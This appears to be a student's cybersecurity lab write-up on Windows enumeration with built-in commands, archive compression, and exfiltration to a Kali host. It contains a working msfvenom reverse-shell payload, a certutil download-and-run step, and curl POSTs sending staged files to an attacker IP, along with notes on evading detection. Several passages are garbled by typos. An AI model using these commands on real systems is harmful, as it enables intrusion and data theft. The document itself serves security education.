Study Guide

What is Enumeration?

Enumeration s the phase where aqn attacker maps out a compromised host. Before exfiltrating data, you need to know what is on the target. Things like running processes, network connections, user accounts, group memberships, firewall rules and system configurations are all things taken into consideration when planning out an attack. This information tells you what data is worth stealing, and how to move laterally or how to enumerate privilege's - if that is their goal.

Attackers use LOLBins for enumeration because these binaries are already on the system and signed by Microsoft. Running net user or tasklist does not trigger antivirus or defender the same way uploading nmap.exe would.

The main goal is to look like normal system activity while gathering intelligence.

Exfiltration

Exfiltration is the unauthorized transfer of data from a target network to an attacker controlled system. Once yoiu have collected and staged data, you need to move it off the target without triggering alerts.

Common exfiltration methods include

• File transfer over C2 channels: Using Meterpreter's download command or similar tools to pull files through an established command and control connection.

• Standard protocols: Transferring data over HTTP, HTTPS, FTP or SMB, which may blend with legitimate traffic.

• Non-standard protocols: Hiding in data in protocols not typically used for file transfer, such aqs ICMP (ping), DNS queries or SMPTP (email.).

Non standard exfiltration is harder to detect because network monitoring tools often allow these protocols through firewalls. A ping packet can carry a few bytes of data. A DNS query can encode data in subdomain labels. An email can attach a file. Defenders must inspect payload content, not just protocol headers, to catch these techniques,

Compression

Before exfiltration, attackers compress collected files to reduce transfer size and bindle multiple files into a single archive. Password-protected archives add a later of protection: even if intercepted, the archive contents remain encrypted.

Windows provides several native compression tools-

• makecab: creates a .cab files, used by WIndows Update and installer packages.

• PowerShell Compress-ArchiveL Creates a .zip using .NET compression

Third party tools, such as 7-Zip and tar offer addiontal format support and password protection.

Lab Enviornment Setup

Download the command-line version of 7-Zip to your Windows VM

Use the native Windows version of the tar command

Read the documentation for PowerShell's Compress-Archive cmdlet

Read how to use makecab to create compressed files

Read how to decompress each of the compressed file types you create

Lab Start

Task 1: Enumeration (30 points)

I had made a .bat file for my script, as I feel it is easier than Powershell scripting.

This is my script.

All > redirects commands into a file.

1. whoami /all > C:\temp\01_whoami.txt

This shows the current user, groups, and privilege's- but also security tokens. Attackers can use this to identify if they got a "hit", like if they had gotten access into an Administrators account, or if they have specific privilege's that others might not have access to.

2. tasklist > C:\temp\02_processes.txt

This shows all the running processes. Attackers are able to use this to check and map out any security software or preventions for an operating system, and can also use it to identify high value processes to target for credential dumping, or spot other users/admins active sessions.

3. netstat -ano > C:\temp\03_netstat.txt

This shows all open network sockets and connections. This can be useful for attackers to map internal services, see existing lateral connections such as RDP, database ports, but also identify what is actually reachable for an attacker to pivot deeper within a network.

4. sc query type= service state= all > C:\temp\04_services.txt

This shows all running services. Attackers can look for vulnerable of misconfigured services, such as weak permissions, or unquoted paths. The misconfigurations can be hijacked for escalate privilege's, and to identify security services worth disabling or evading, with minimal footprint.

5. net user > C:\temp\05_local_users.txt

This lists all local accounts. This can help attackers build a "hit list" for credential attacks, and use simpler tactics such as brute force. This can also be able to identify service accounts or that are less monitored.

6. net localgroup > C:\temp\06_local_groups.txt

This shows all local groups. Attackers use this to see and map out who has what kind or privilege's on a group, and target people based on who is in the group. They will most likely target people with administrative permissions most of all.

7. net localgroup Administrators > C:\temp\07_admins.txt

This shows every single administrator within a group,

8. ipconfig /all > C:\temp\08_ipconfig.txt

This shows all internal IP ranges, DNS servers and information, and domain information. Attackers can use this to map the internal network for further scanning and identify the AD environment, and how it is structured.

9. netsh advfirewall firewall show rule name=all > C:\temp\09_firewall.txt

This is an important one- it shows firewall rules. Attacks are able to use this to map out what ports are open, and allowed programs that they are able to use for command-and-control or lateral movement without needing to modify firewall rules. This is perfect for an attacker, as modifying firewall rules would be more detectable and leave a bigger footprint.

Command and control is the exercise of authority, direction and oversight by a leader or system to direct operations, manage resources and achieve goals.

10. arp -a > C:\temp\10_arp.txt

This lists the local ARP cache, which are recently contacted hosts on the subnet. Attackers use this to discover live machines on the network without having to generate a scan for traffic, that IDS could flag/

11. net session > C:\temp\11_smb_sessions.txt

This would I had trouble with champuser as it needs admin, but regularly, it would show other machines with an active SMB sessions to this host. Attackers can use tit to map lateral movement history and relationships in the network.

12. systeminfo > C:\temp\12_sysinfo.txt

This is able to reveal the OS version, what patch the machine is on, and hardware information. For attackers, they can use it to match the system it is on and use exploits that are documented for local privledge escalations.

This shows me running the script, with enum.bat.

Additional research

1. wmic qfe list

Command: wmic qfe list full Source

This command lists all hotfixes are security patches that are installed on the system already, along with the KB numbers and install dates. An attacker could use this information to identify which patches are missing and if the system is outdated, they can match the patch itself to use known weaknesses within the system, and use a working local privledge escalation exploit.

2. net share

Command: net share

This command displays all active SMB (Server Messgae Block) shares on the host, including the hidden administrative shares. An attacker could use this to find weak permissions in a system, that can epose sensitive data, or secure a position for movement to other systems on the network.

Source

3. schtasks

Command: schtasks /query/fi KUST /v

This can show all schedule tasks in verbose(extreme detail) showing the triggers, the account they run as, and the executable path they call. An attacker can use this to look for tasks running as SYSTEM, or an admin account that can point to a file with weak permissions, since replacing that file is a common privledge that file is common privledge escalation technique.

Source

4. reg query

Command: reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

This command queries the registry for programs that are configured to run automatically at startup. An attacker is able to use this to check understanding existence persistence mechanism that is on the box, and also to identify a spot where they could add their own entry to keep access after a reboot.

Source

5. driverquery

driverquery /v

This command can list all loaded kernel-mode drivers, along with the versions and file paths. An attacker can use this to check for outdated drivers which can be eploited for privledge escalation.

Source

Compression

Compression used with 7-Zip.

Compressed with tar, with verification.

Compressed with Powershell, re-ran for verification.

Compression with makecab

This one is a little bit different than the others. First, you need to make a .dff file, for multiple file. I made an archive.dff file and also opened it with notepad.

Since I am new with the makecab, here is all the contents explained.

.OPTION EXPLICIT

This tells makecab to only include the files listed underneath.

.Set CabinetNameTemplate=output_makecab.cab

This sets the name out of the ouput that .cab file will be created. CabinetNameTemplate is Microsofts term for the output archive filename.

.Set DiskDirectory1=.

This tells makecab where to put the .cab file.

Once saved, run makecab /f archive.ddf

DDF- Diamond Directive File. Another form of plain text configuration created by Microsoft.

Task 2: Exfiltration via C2 Channel

1. Generate a meterpreter payload from your windows VM and don't use port 4444.

File Server

Here, Python turns Kali into a basic web server that serves whatever files are in the current directory, which is /tmp is this case, over HTTP on port 8080.

Generating the Payload

Here, I used a meterpreter payload using port 4445 and started a lister.

On Windows, I downloaded and ran the payload.

You can see the URLCache command was successfuly completed. Now, you run the payload

There should not be any response in the cmd terminal. However, when you go back to Kali-

The "Session 1 opened" shows a successful live session.

Part B

Make a file called /tmp/efil.

Download all the files made in the bat file.

But first, check what is on the system, and if you have access to it.

Once you have confirmed that you can see the files needed, continue to download them.

Every download path should be the path to temp, and then into what file you are downloading that information to. Confirm with

ls -la /tmp/exfil

Here, you can see all the information in your own file now within the Kali machine.

Task 3: Archive Decompression And Verification

First, we need to download all the download all the arhives onto the Kali server.

You will use the same tactic you did with the path with the other .txt files

Decompression Files Video

Tech Journal submissions question

• The smallest format was 7-zip, it was only 13 KiB compared to tar which was 300KiB.

• The easiest call based on my experience was tar, because it was only one short command.

Task 4

Method 1: HTTP POST via upload server

HTTP POST exfiltration sends files from the victim machine to the attackers C2 server disguised as normal web upload traffic. Uploadserver is a Python Based HTTP server that accepts file uploads via POST requests.

First, on Kali

pipx instal uploadserver
uploadserver 8080 --bind 10.0.17.67`

Exfiltration from Windows

curl.exe -X POST http://10.0.17.67:8080/upload -F "files=@C:\temp\output_7zip.7z" curl.exe -X POST http://10.0.17.67:8080/upload -F "files=@C:\temp\output_tar.tar" curl.exe -X POST http://10.0.17.67:8080/upload -F "files=@C:\temp\output_powershell.zip"

Verification 

ls -la ~/Desktop/ 7z x ~/Desktop/output_7zip.7z -o/home/champuser/Desktop/http_extracted/ -y cat /home/champuser/Desktop/http_extracted/01_whoami.txt

This is able to evade detection because HTTP POST traffic on port 8080 is very hard to differentiate from real web application uploads. Firewalls that only inspect protocol types and port allow it through. Detection requires consistent and in depth inspection or anomoly detection flagging, large outbound POST requests to unknown IPs.

MITRE ATT&CK: T1048.003 — Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

[Video](https://drive.google.com/drive/folders/1xAf4xP8KrVmNG_4ff7ChRKBw0Py1NyWZ)



# Encrypted Reverse TCP via Meterpreter


Meterpreter is a payload that runs entirely in memory on the Windows VM. Once establish, the download command transfers files back to Kali through an encrypted reverse TCP tunnel. The connection originates from Windows calling out to Kali making it look like normal outbound traffic.


Firstly, on Kali

`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.17.67 LPORT=4445 -f exe -o /tmp/payload.exe`

Start a regular listener on Kali, as done before

msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.0.17.67 set LPORT 4445 run

Deliver and run the payload on Windows

`certutil.exe -urlcache -split -f "http://10.0.17.67:9000/payload.exe" C:\temp\payload.exe
C:\temp\payload.exe`


Exfiltrate it with Meterpreter 

`download C:/temp/output_tar.tar /tmp/exfil/meterpreter_received.tar`

Verify with Kali

mkdir /tmp/exfil/meterpreter_extracted tar -xf /tmp/exfil/meterpreter_received.tar -C /tmp/exfil/meterpreter_extracted/ cat /tmp/exfil/meterpreter_extracted/01_whoami.txt

How it evades detection

All Meterpreter traffic is encrypted, so to a network monitor, it looks like an outbound connection from Windows to an external IP on a high port. Many environments allow this by default. No recongnizeable file transfer protocol is used and the payload runs entirely leaving no binary on disk after execution.

MITRE ATT&CK: T1041 — Exfiltration Over C2 Channel

[Video](https://drive.google.com/drive/folders/1xAf4xP8KrVmNG_4ff7ChRKBw0Py1NyWZ)